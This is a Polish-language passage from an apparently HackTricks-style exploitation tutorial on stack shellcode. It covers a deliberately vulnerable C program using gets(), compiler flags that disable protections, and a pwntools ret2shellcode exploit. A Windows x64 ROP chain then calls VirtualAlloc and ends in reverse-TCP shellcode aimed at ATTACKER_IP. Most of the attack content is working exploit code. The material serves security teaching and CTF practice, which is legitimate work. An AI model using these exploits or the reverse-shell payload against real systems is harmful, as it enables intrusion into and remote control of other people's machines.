Stack Shellcode

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Stack shellcode to technika stosowana w binary exploitation, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje Instruction Pointer (IP) lub Extended Instruction Pointer (EIP), aby wskazać lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Poniżej znajduje się rozbicie procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie przy użyciu pwntools.

Przykład w C: podatny program

Zacznijmy od prostego przykładu podatnego programu w C:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji gets().

Compilation

Aby skompilować ten program z wyłączonymi różnymi zabezpieczeniami (aby zasymulować podatne środowisko), możesz użyć następującego polecenia:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Wyłącza ochronę stosu.
  • -z execstack: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode umieszczonego na stosie.
  • -no-pie: Wyłącza Position Independent Executable (PIE), ułatwiając przewidzenie adresu pamięci, gdzie nasz shellcode będzie się znajdował.
  • -m32: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w tworzeniu exploitów.

Exploit w Pythonie z użyciem pwntools

Oto jak można napisać exploit w Pythonie z użyciem pwntools, aby przeprowadzić atak ret2shellcode:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ten skrypt konstruuje payload składający się z NOP slide, shellcode, a następnie nadpisuje EIP adresem wskazującym na NOP slide, zapewniając wykonanie shellcode.

The NOP slide (asm('nop')) jest używany, aby zwiększyć prawdopodobieństwo, że wykonanie "slide" trafi do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument p32() do adresu początkowego bufora plus offset, aby wylądować w NOP slide.

Windows x64: Ominięcie NX przy użyciu VirtualAlloc ROP (ret2stack shellcode)

On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.

Kluczowe punkty (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → wybierz adres w bieżącym stosie (np. RSP), tak aby nowo zaalokowany region RWX pokrywał się z twoim payload
  • RDX = dwSize → wystarczająco duży dla twojego chain + shellcode (np. 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Minimalna strategia:

  1. Leak a module base (np. via format-string, object pointer, itp.) aby obliczyć absolutne adresy gadgets i IAT przy ASLR.
  2. Znajdź gadgets do załadowania RCX/RDX/R8/R9 (pop lub sekwencje oparte na mov/xor) oraz call/jmp [VirtualAlloc@IAT]. Jeśli nie masz bezpośrednich pop r8/r9, użyj arithmetic gadgets do syntezy stałych (np. ustaw r8=0 i wielokrotnie dodaj r9=0x40 czterdzieści razy, aby osiągnąć 0x1000).
  3. Umieść stage-2 shellcode bezpośrednio po chainie.

Przykładowy układ (konceptualny):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

Przy ograniczonym zestawie gadgets możesz pośrednio skonstruować wartości rejestrów, na przykład:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → ustawia r9 z rbx, zeruje r8 i kompensuje stos nieistotnym qwordem.
  • xor rbx, rsp; ret → ustawia rbx na aktualny wskaźnik stosu.
  • push rbx; pop rax; mov rcx, rax; ret → przenosi wartość pochodzącą z RSP do RCX.

Pwntools sketch (given a known base and gadgets):

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

Tips:

  • VirtualProtect działa podobnie, jeśli wolisz ustawić istniejący bufor jako RX; kolejność parametrów jest inna.

  • Jeśli przestrzeń stack jest ograniczona, przydziel RWX gdzie indziej (RCX=NULL) i jmp do tego nowego regionu zamiast ponownego użycia stack.

  • Zawsze uwzględniaj gadgets, które modyfikują RSP (np. add rsp, 8; ret), wstawiając junk qwords.

  • ASLR powinien być wyłączony, aby adres był wiarygodny między uruchomieniami, inaczej adres, pod którym funkcja zostanie załadowana, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś leak, żeby ustalić, gdzie jest załadowana funkcja win.

  • Stack Canaries powinny być również wyłączone, inaczej skompromitowany adres powrotu EIP nie zostanie wykonany.

  • NX stack ochrona uniemożliwi wykonanie shellcode wewnątrz stack, ponieważ ten region nie będzie wykonywalny.

Inne przykłady i odnośniki

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks